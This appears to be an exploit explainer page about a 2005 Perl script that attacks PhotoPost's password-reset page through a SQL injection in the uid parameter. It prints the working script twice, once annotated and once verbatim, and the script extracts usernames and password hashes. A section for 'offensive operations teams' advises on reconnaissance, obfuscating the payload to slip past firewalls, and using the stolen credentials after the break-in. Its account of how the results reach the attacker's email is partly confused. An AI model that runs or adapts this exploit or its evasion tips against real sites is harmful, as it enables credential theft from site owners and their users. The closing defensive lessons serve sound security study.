PhotoPost Arbitrary Data Hash Exploit Explained

PhotoPost Arbitrary Data Hash Exploit Explained
What this paper is
This paper details an exploit for a vulnerability in the PhotoPost web application, published in 2005. The vulnerability allows an attacker to retrieve user credentials (username and password hash) by manipulating a specific URL parameter. The exploit script automates this process and sends the retrieved information to a specified email address.
Simple technical breakdown
The PhotoPost application has a feature to reset passwords, which is accessed via member.php?ppaction=rpwd. This feature likely uses a verifykey and uid parameter for authentication and identification. The vulnerability lies in how the application handles the uid parameter.
Instead of just using the uid for identification, the application appears to be vulnerable to SQL injection. The exploit crafts a malicious uid value that includes a SQL UNION SELECT statement. This allows the attacker to inject their own SQL query, which in this case, retrieves the username and password from the users table and concatenates them with a space. The exploit then sends this constructed URL to the web server. The application, when processing this malformed request, executes the injected SQL query and returns the results, which are then sent to the attacker's email.
Complete code and payload walkthrough
The provided Perl script is designed to exploit the PhotoPost vulnerability. Let's break down the code and the "payload" (which is essentially the crafted URL).
#!/usr/bin/perl
# PhotoPost Arbitrary Data Exploit
# --------------------------------
# INFPG - Hacking&Security Research
#
#
# Use first the exploit code,then You'll get admin MD5 hash and user name on your mail.
#
# Greats: Infam0us Gr0up team/crew/fans,Zone-H,securiteam,str0ke-milw0rm,addict3d,
# Thomas-secunia,Yudha,Dcrab's,Kavling Community,1st Indonesian Security,
# Jasakom,ECHO,etc..betst reagrds t0 whell.
# Info: www.98.to/infamous
#
use IO::Socket; # Imports the module for network socket operations.
if (@ARGV < 3) # Checks if fewer than 3 command-line arguments are provided.
{
system "clear"; # Clears the terminal screen.
print "PhotoPost Arbitrary Data Exploit\n"; # Prints the exploit title.
print "\n-------------------------------\n"; # Prints a separator.
print "\nINFGP-Hacking&Security Research\n"; # Prints the authoring group.
print "\n\n"; # Prints blank lines for spacing.
print "[?]Usage: perl $0 [host] [path] [mail] \n"; # Displays the correct usage of the script.
exit(1); # Exits the script with an error code.
}
system "clear"; # Clears the terminal screen again after argument check.
$server = $ARGV[0]; # Assigns the first command-line argument (host) to the $server variable.
$folder = @ARGV[1]; # Assigns the second command-line argument (path) to the $folder variable.
$mail = @ARGV[2]; # Assigns the third command-line argument (mail) to the $mail variable.
print "Connecting to host ...\n"; # Informs the user about the connection attempt.
$socket = IO::Socket::INET->new( # Creates a new TCP socket for IPv4.
Proto => "tcp", # Specifies the protocol as TCP.
PeerAddr => "$ARGV[0]", # Sets the remote address to the provided host.
PeerPort => "80"); unless ($socket) # Sets the remote port to 80 (HTTP). If socket creation fails:
{
die "Server is offline\n" # Prints an error message and exits if the server is unreachable.
}
print "[+]Connected\n\n"; # Confirms successful connection.
print "[+]Building string core..\n"; # Informs the user about constructing the exploit string.
# This is the core of the exploit payload. It's a crafted URL query string.
$stringcore = 'member.php?ppaction=rpwd&verifykey=0&uid=0%20union%20select%20"0",$mail
,%20concat(username,"%20",%20password)%20from%20users';
# Breakdown of $stringcore:
# 'member.php?ppaction=rpwd' : This targets the password reset functionality.
# '&verifykey=0' : A parameter that is likely present but not critical for this exploit, set to a dummy value.
# '&uid=0' : This is the vulnerable parameter. The '0' is the original intended value.
# '%20union%20select%20"0",$mail,%20concat(username,"%20",%20password)%20from%20users' :
# This is the injected SQL code, URL-encoded.
# - '%20' is URL encoding for a space.
# - 'union select' : This is the standard SQL keyword to combine results from two SELECT statements.
# - '"0"' : This is a literal string '0' to satisfy the first column expected by the original query (likely a user ID).
# - '$mail' : This is a placeholder for the attacker's email address. The script will insert the provided email here.
# - 'concat(username,"%20",%20password)' : This SQL function concatenates the username, a space, and the password.
# - 'from users' : Specifies the table to retrieve data from.
print "Sent 0day..\n\n"; # Indicates the exploit request is being sent.
print $socket "GET /$folder/$stringcore HTTP/1.0\r\n\r\n"; # Sends the crafted HTTP GET request to the server.
# - GET : HTTP method.
# - /$folder/ : The path to the vulnerable script.
# - $stringcore : The crafted URL with the SQL injection.
# - HTTP/1.0 : HTTP protocol version.
# - \r\n\r\n : End of HTTP headers.
print "Server Exploited\n"; # Informs the user that the exploit has been sent.
print "You should check $mail now"; # Instructs the user to check their email for results.
close($socket); # Closes the network socket.
# milw0rm.com [2005-05-13] # Reference to the source of the exploit.Mapping list:
#!/usr/bin/perl: Shebang line, indicates the script should be executed with Perl.use IO::Socket;: Imports the necessary Perl module for network communication.if (@ARGV < 3)block: Handles argument validation. If not enough arguments are provided, it prints usage instructions and exits.system "clear";: Clears the terminal screen for a cleaner output.$server = $ARGV[0];,$folder = @ARGV[1];,$mail = @ARGV[2];: Assigns command-line arguments to variables.IO::Socket::INET->new(...): Establishes a TCP connection to the target host on port 80.unless ($socket) { die "Server is offline\n" }: Error handling for connection failures.$stringcore = 'member.php?ppaction=rpwd&verifykey=0&uid=0%20union%20select%20"0",$mail,%20concat(username,"%20",%20password)%20from%20users';: This is the core exploit payload. It's a URL string designed to trigger a SQL injection.member.php?ppaction=rpwd: Targets the password reset page.uid=0: The vulnerable parameter.%20union%20select%20"0",$mail,%20concat(username,"%20",%20password)%20from%20users: The injected SQL query.union select: Combines results from two queries."0": A placeholder for the first column, likely an ID.$mail: The attacker's email address, which will be sent back by the server.concat(username,"%20",%20password): Concatenates username and password.from users: Specifies the target table.
print $socket "GET /$folder/$stringcore HTTP/1.0\r\n\r\n";: Sends the HTTP GET request containing the exploit string to the server.print "Server Exploited\n"; print "You should check $mail now";: User feedback indicating the exploit has been sent and where to look for results.close($socket);: Closes the network connection.
Shellcode/Payload Segment Explanation:
The "payload" in this context is not traditional shellcode but rather a crafted HTTP GET request containing a URL with a SQL injection.
Stage 1: HTTP Request Construction
- The Perl script constructs a full HTTP GET request.
- It targets the
/path/member.phpendpoint. - The
ppaction=rpwdparameter is used to access the password reset functionality. - The
uidparameter is manipulated. The original value0is replaced by0%20union%20select%20"0",$mail,%20concat(username,"%20",%20password)%20from%20users.
Stage 2: SQL Injection and Data Extraction
- The web application, upon receiving this request, interprets the
uidparameter and executes a SQL query. - The injected
UNION SELECTstatement overrides the original query's intent. - The query
SELECT "0", $mail, CONCAT(username, " ", password) FROM usersis executed. - The web server's response will contain the results of this query. The application is expected to process these results and send them to the attacker's email address (as specified by
$mail). The$mailvariable in the SQL query is not directly sending the email; rather, it's a placeholder in the query itself. The application's response to this query is what the exploit expects to be emailed. It's a bit of a misnomer in the SQL itself; the$mailvariable is intended to be part of the output that the application might then process and email. However, the exploit script directly prints "You should check $mail now", implying the application is supposed to email the results to$mail. This is a common pattern where the vulnerable application has a feature (like sending notifications) that can be leveraged.
- The web application, upon receiving this request, interprets the
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server on port 80 (HTTP) or 443 (HTTPS, though this exploit targets HTTP). No authenticated access to the web application is required.
- Lab Preconditions:
- A running instance of PhotoPost (or a similar vulnerable version) on a web server.
- A functional mail server accessible by the target web application to send out the results (this is an assumption about how the application processes the injected data).
- The
userstable must exist and containusernameandpasswordcolumns. - The
ppaction=rpwdfunctionality must be present and vulnerable to SQL injection via theuidparameter.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- Basic network connectivity.
- Execution Pitfalls:
- Incorrect Path: The
$foldervariable must accurately reflect the directory wheremember.phpresides on the web server. A wrong path will result in a 404 error. - WAF/IDS Evasion: The SQL injection string is relatively simple. Modern Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) would likely detect and block this payload. The
%20encoding is standard, but theUNION SELECTandconcatkeywords are highly suspicious. - Application Logic: The exploit relies on the PhotoPost application's behavior when it receives the malformed
uidparameter. If the application sanitizes the input before executing the query, or if it doesn't process theUNION SELECTresults in a way that reveals them (e.g., by sending them via email), the exploit will fail. The exploit assumes the application will attempt to email the results of the query to the$mailaddress provided in the SQL query itself (which is a bit of a misinterpretation of how$mailis used in the SQL, it's more likely the response is expected to be emailed by the application). - HTTP vs. HTTPS: The script explicitly targets port 80 (HTTP). If the target site uses HTTPS, the script would need modification to use
IO::Socket::SSLand port 443. - Email Delivery Failure: Even if the SQL injection is successful, the exploit relies on the target web application's ability to send emails. If the mail server is misconfigured or blocked, the attacker won't receive the credentials.
- Database Schema Differences: If the
userstable has a different name or different column names for username and password, the exploit will fail.
- Incorrect Path: The
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the target application (PhotoPost) and its version if possible. Map the web server directory structure to correctly identify the
$folderpath. - Stealth: The exploit sends a clear HTTP GET request. For stealthier operations, one might consider using POST requests if the functionality allows, or attempting to obfuscate the SQL payload further. However, given the age of the exploit, this level of sophistication might not have been standard.
- Payload Delivery: The exploit directly sends the request. In a real-world scenario, an attacker might use a more sophisticated tool or framework to manage multiple targets and results.
- Post-Exploitation: The goal is to obtain credentials. The next steps would involve using these credentials to gain authenticated access to the application, potentially leading to further compromise.
- Reconnaissance: Thoroughly identify the target application (PhotoPost) and its version if possible. Map the web server directory structure to correctly identify the
Where this was used and when
- Context: This exploit targets the PhotoPost web application, a content management system or photo-sharing platform popular in the mid-2000s.
- Year: Published in May 2005. Exploits of this nature were common during the early to mid-2000s as web application security practices were less mature.
- Usage: Such exploits were typically used by black-hat hackers for unauthorized access, data theft, or defacement. Authorized offensive operations teams would use this knowledge to test their own systems for similar vulnerabilities or to understand historical attack vectors.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most crucial lesson. All user-supplied input, especially data that is incorporated into database queries, must be rigorously validated and sanitized. This includes:
- Parameterized Queries/Prepared Statements: The gold standard for preventing SQL injection. Never concatenate user input directly into SQL strings.
- Whitelisting: Only allow known-good characters or patterns.
- Blacklisting (less effective): Avoid relying solely on blocking known-bad characters, as attackers can often find ways around them.
- Principle of Least Privilege: Database accounts used by web applications should have only the necessary permissions. They should not be able to execute arbitrary
SELECTstatements on sensitive tables if not required for the application's function. - Error Handling: Web applications should not reveal detailed error messages (like SQL errors) to end-users, as these can provide attackers with valuable information about the underlying database and application structure.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can provide a layer of defense against common web attacks like SQL injection by detecting and blocking malicious patterns. However, they need to be properly configured and updated.
- Regular Patching and Updates: Keeping web applications and their underlying frameworks up-to-date is essential, as vendors often release patches for known vulnerabilities.
- Security Audits and Code Reviews: Regularly auditing web application code for security flaws, especially for common vulnerabilities like SQL injection, is critical.
ASCII visual (if applicable)
This exploit is a direct request-response interaction, so a complex architecture diagram isn't strictly necessary. However, we can visualize the flow of the malicious request:
+-----------------+ HTTP GET Request +-------------------+
| Attacker's Host | -------------------------> | Target Web Server |
| (Perl Script) | (Malicious URL) | (PhotoPost App) |
+-----------------+ +---------+---------+
|
| Executes SQL Query
| (with injection)
v
+-----------------+
| Database Server |
| (users table) |
+-----------------+
|
| Returns Data
v
+-----------------+ HTTP Response +-------------------+
| Attacker's Host | <------------------------- | Target Web Server |
| (Perl Script) | (Data in HTML) | (PhotoPost App) |
+-----------------+ +-------------------+
(Exploit expects this data to be emailed by the app)Source references
- Paper ID: 989
- Paper Title: PhotoPost - Arbitrary Data Hash
- Author: basher13
- Published: 2005-05-13
- Keywords: PHP, webapps
- Paper URL: https://www.exploit-db.com/papers/989
- Raw URL: https://www.exploit-db.com/raw/989
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# PhotoPost Arbitrary Data Exploit
# --------------------------------
# INFPG - Hacking&Security Research
#
#
# Use first the exploit code,then You'll get admin MD5 hash and user name on your mail.
#
# Greats: Infam0us Gr0up team/crew/fans,Zone-H,securiteam,str0ke-milw0rm,addict3d,
# Thomas-secunia,Yudha,Dcrab's,Kavling Community,1st Indonesian Security,
# Jasakom,ECHO,etc..betst reagrds t0 whell.
# Info: www.98.to/infamous
#
use IO::Socket;
if (@ARGV < 3)
{
system "clear";
print "PhotoPost Arbitrary Data Exploit\n";
print "\n-------------------------------\n";
print "\nINFGP-Hacking&Security Research\n";
print "\n\n";
print "[?]Usage: perl $0 [host] [path] [mail] \n";
exit(1);
}
system "clear";
$server = $ARGV[0];
$folder = @ARGV[1];
$mail = @ARGV[2];
print "Connecting to host ...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "80"); unless ($socket)
{
die "Server is offline\n"
}
print "[+]Connected\n\n";
print "[+]Building string core..\n";
$stringcore = 'member.php?ppaction=rpwd&verifykey=0&uid=0%20union%20select%20"0",$mail
,%20concat(username,"%20",%20password)%20from%20users';
print "Sent 0day..\n\n";
print $socket "GET /$folder/$stringcore HTTP/1.0\r\n\r\n";
print "Server Exploited\n";
print "You should check $mail now";
close($socket);
# milw0rm.com [2005-05-13]